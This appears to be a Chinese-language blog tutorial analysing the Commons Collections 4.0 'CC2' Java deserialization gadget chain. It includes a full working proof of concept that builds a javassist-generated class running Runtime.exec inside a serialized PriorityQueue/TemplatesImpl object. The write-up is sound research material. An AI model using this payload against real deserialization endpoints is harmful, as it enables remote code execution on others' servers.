Java反序列化4-CommonsCollections2利用链分析
0x00 前言
这个链子不同之前的链子,该链子并没有使用Chainedtransform来触发命令执行,而是利用javasist制作了一个可以命令执行的evil类,然后通过Classloder#defineClass实例化该evil类从而造成代码执行的。
环境:jdk1.8,commons-collections-4.0(3.1-3.2.1版本中TransformingComparator
并没有去实现Serializable
接口,也就是不可以被序列化)
后端测试环境用的springboot:
pom.xml:
controller:
0x01 前置知识
前置知识有三个:
- javasist (用于创建evil类的字节码)
- ClassLoader#defineClass (用于实例化evil类)
- TemplatesImpl(用于调用ClassLoader#defineClass)
这三块前置知识具体可以参考大佬文章:https://www.yuque.com/tianxiadamutou/zcfd4v/fw3ag3
javasist
javasist就是一个处理字节码的类库,能够动态的修改class文件中的字节码
这里我只大概说一下
package test;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;
public class JavasistTest {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//返回默认的类池
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));//添加AbstractTranslet类到搜索路径,这样pool就可以找到这个类
CtClass test = pool.makeClass("Evil");//创建一个名为Evil的类
String cmd = "System.out.println(\"Hello,Javasist\");";
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));//设置这个类的父类为AbstractTranslet
CtConstructor constructor = test.makeClassInitializer();//创建这个类的构造器
constructor.insertBefore(cmd);//创建静态代码块,内容为cmd值
test.writeFile("./");//将生成的类写到class文件中去
}
}
上面相当于创建了一个如下类
ClassLoader#defineClass
ClassLoader是Java的类加载器,负责将字节码转化成内存中的Java类
我们可以利用ClassLoader类的defineClass方法来加载我们的字节码,将其变为对应的Class对象
package test;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;
public class JavasistTest {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();//返回默认的类池
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));//添加AbstractTranslet类到搜索路径,这样pool就可以找到这个类
CtClass test = pool.makeClass("Evil");//创建一个名为Evil的类
String cmd = "System.out.println(\"Hello,Javasist\");";
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));//设置这个类的父类为AbstractTranslet
CtConstructor constructor = test.makeClassInitializer();//创建这个类的构造器
constructor.insertBefore(cmd);//创建静态代码块,内容为cmd值
test.writeFile("./");//将生成的类写到class文件中去
byte[] bytes = test.toBytecode(); //获取Evil类对应的字节码
Class clas = Class.forName("java.lang.ClassLoader");//反射获取defineClass方法
Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclass.setAccessible(true);//暴力反射
Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length); //将bytes转换为对应的类对象,即这里的claz为Evil类的类对象
claz.newInstance();//实例化Evil类
}
}
PriorityQueue
这是优先级队列
构造方法
PriorityQueue()
使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
常见方法:
add(E e) 将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。
重点来了,PriorityQueue类有两个成员变量需要注意以下
一个是queue,是装元素的
一个是comparator,用作元素比较器
TransformingComparator
TransformingComparator我感觉就是一个转换比较器,其compare方法会对传入的obj先进行transform转换然后再比较。
0x02 POC分析
先上POC
package com.test;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
再附上POC结构图
下面开始逆向分析,首先我们构造一个可以执行命令的恶意类
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("Evil");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
现在我们有了恶意类的字节码,我们只需要利用ClassLoader#defineClass加载这个字节码,将其变为对应的Class对象,然后利用newInstance实例化即可触发命令执行
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("Evil");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Class clas = Class.forName("java.lang.ClassLoader");//反射获取defineClass方法
Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclass.setAccessible(true);//暴力反射
Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length); //将bytes转换为对应的类对象,即这里的claz为Evil类的类对象
claz.newInstance();//实例化Evil类
成功命令执行
问题一
问题1:那么问题就来了,我们如何调用ClassLoader#defineClass方法呢
这里我们要引入TemplatesImpl这个类
我们看一下这个类的defineTransletClasses方法,这个方法会将_bytecodes通过ClassLoader#defineClass转换为对应的类对象,这不就是我们想要的嘛
所以我们可以实例化这个TemplatesImpl类,通过反射将_bytecodes赋值为new byte[][]{bytes},这里的bytes就是恶意类字节码
然后因为在getTransletInstance中_name不能为null,如果为null就直接返回了,所以需要给_name随便赋一个值,这里将_name随便设置个值叫test吧
这样我们就实例化了一个TemplatesImpl对象
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
我们只需要调用这个对象的defineTransletClasses方法就可生成恶意类的类对象(然后再找一个可以newInstance的地方就能命令执行了),但是呢defineTransletClasses方法是个私有方法,没办法从外面调用
所以我们需要找到一个最终能调用这个方法的调用链
这里给上调用链
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
首先newTransformer方法调用getTransletInstance
跟进,发现其调用了defineTransletClasses
在defineTransletClasses中生成恶意类的类对象并赋值给_Class成员变量。然后我们可以看到刚好在getTransletInstance方法中调用了newInstance,这样就能根据恶意类的类对象实例化我们的恶意类了,从而造成恶意类中的静态代码段被执行,而静态代码段中就是命令执行代码
这时候我们就解决了问题1,我们可以通过实例化一个TemplatesImpl对象,将恶意类的字节码赋值给_bytecodes并调用其newTransformer方法即可命令执行
但是我们运行的时候报错了,提示空指针异常
那我们跟进到TemplatesImpl.java:401行看一下,我们发现这里有一个_tfactory变量
发现这个变量默认为null,我们需要给他赋一个值,这里就用new TransformerFactoryImpl()吧
因为这个变量是private,所以需要利用反射给其赋值
Field _tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templatesImpl,new TransformerFactoryImpl());
整体就是
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("Evil");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
TemplatesImpl templatesImpl= (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
Field _tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templatesImpl,new TransformerFactoryImpl());
templatesImpl.newTransformer();
成功命令执行
这样我们就解决了第一个问题,就是如何调用ClassLoader#defineClass方法并初始化恶意类
但是呢,这个还是存在利用难的问题,你比如说我们把这个templatesImpl对象序列化发送到后端,后端不仅要反序列化还需要调用templatesImpl对象的newTransformer方法。这。。。。。一般实战中后端很少有这种情况发生。
问题二
问题2:那就引入了第二个问题,我们怎么降低利用难度,也就是如何继续构造payload使得后端只需要反序列化我们的paylaod就可以触发templatesImpl的newTransformer方法以达到命令执行效果
总结一下我们现在的新问题
- 找到一个对象,其readobject可以触发templatesImpl的newTransformer方法
这里就用到了PriorityQueue这个对象了
前面已经讲过基础知识,这里就不再赘述了
其有一个成员变量comparator
我们可以设置comparator为TransformingComparator并且将其transformer成员变量设置为InvokerTransformer对象,这个对象我们熟呀,其transform方法可以调用任意方法,如果能调用comparator.compare这不就达到调用templatesImpl的newTransformer方法的目的了吗
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
然后我们现在的问题中心就转移到了如何调用PriorityQueue的comparator的compare方法
刚好,在PriorityQueue的readobject方法中调用了comparator的compare方法,(那我们就可以用PriorityQueue做为我们的反序列化初始点,然后其反序列化时会调用comparator的compare从而调用InvokerTransformer.transform从而反射调用templatesImpl的newTransformer方法以达到命令执行目的)下面是他的调用链
这个时候就调用了InvokerTransformer的transform方法,其会反射调用newTransformer,但是这里别忘了我们需要指定input为之前构造好的templatesImpl才能够反射成功并命令执行
我们倒着往回推出怎么能够让这个input为我们恶意templatesImpl对象
这个input是TransformingComparator.compare的输入参数obj1
也就是siftDownUsingComparator的输入参数x
也就是siftDown的输入参数x
也就是PriorityQueue成员变量queue的第一个元素
明白了,InvokerTransformer.transform的input参数就是PriorityQueue成员变量queue的第一个元素
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
这里为啥需要将queue设置为两个templatesImpl,因为在heapify方法中如果size为1,1>>>1是0然后减1结果为-1就不会进入for循环,从而无法执行siftDown方法
这下问题2就解决了,利用PriorityQueue反序列化后调用TransformingComparator.compare,从而调用InvokerTransformer.transform,从而反射调用templatesImpl.newTransformer从而导致bytes_payload被恶意加载执行。这样我们就只需要后端反序列化我们的payload就可以远程命令执行
完整POC如下:
首先利用javasist生成字节码,然后利用上面的InvokerTransformer
触发TemplatesImpl
的newTransformer
从而读取恶意字节码从而进行执行命令
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
我们再来看这张图就好理解了
PriorityQueue反序列化后调用TransformingComparator.compare,从而调用InvokerTransformer.transform,从而反射调用templatesImpl.newTransformer从而导致bytes_payload被恶意加载执行。
整个的调用链如下
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
newInstance()
Runtime.getRuntime().exec("calc")
成功执行命令
0x03 总结
通过cc2链我也学到了很多东西,这篇文章首先大概讲了一下前置知识。然后对POC进行分析,从刚开始的javasist生成字节码开始一点点分析POC是怎么形成的,期间提出了两个问题,这两个问题是理解poc的核心,我对其进行了较为详细的梳理与解答。当这两个问题搞清楚后,完整版POC也就出来了。希望这篇文章能够帮助到师傅们。
0x04 参考
https://www.anquanke.com/post/id/219840
https://www.yuque.com/tianxiadamutou/zcfd4v/fw3ag3
https://www.jianshu.com/p/43424242846b
https://www.w3cschool.cn/article/35230124.html